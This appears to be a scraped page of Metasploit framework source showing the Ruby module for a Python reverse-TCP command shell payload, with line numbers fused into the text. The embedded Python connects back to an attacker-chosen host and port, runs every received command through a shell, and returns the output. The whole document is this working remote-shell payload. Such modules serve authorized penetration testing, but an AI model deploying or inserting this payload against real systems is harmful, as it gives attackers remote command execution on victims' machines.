Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/python/shell_reverse_tcp.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Python12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Command Shell, Reverse TCP (via python)',17'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',18'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl19'License' => MSF_LICENSE,20'Platform' => 'python',21'Arch' => ARCH_PYTHON,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'python',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Constructs the payload35#36def generate(_opts = {})37super + command_string38end3940#41# Returns the command string to use for execution42#43def command_string44cmd = <<~PYTHON45import socket as s46import subprocess as r47so=s.socket(s.AF_INET,s.SOCK_STREAM)48so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))49while True:50d=so.recv(1024)51if len(d)==0:52break53p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)54o=p.stdout.read()+p.stderr.read()55so.send(o)56PYTHON5758py_create_exec_stub(cmd)59end60end61626364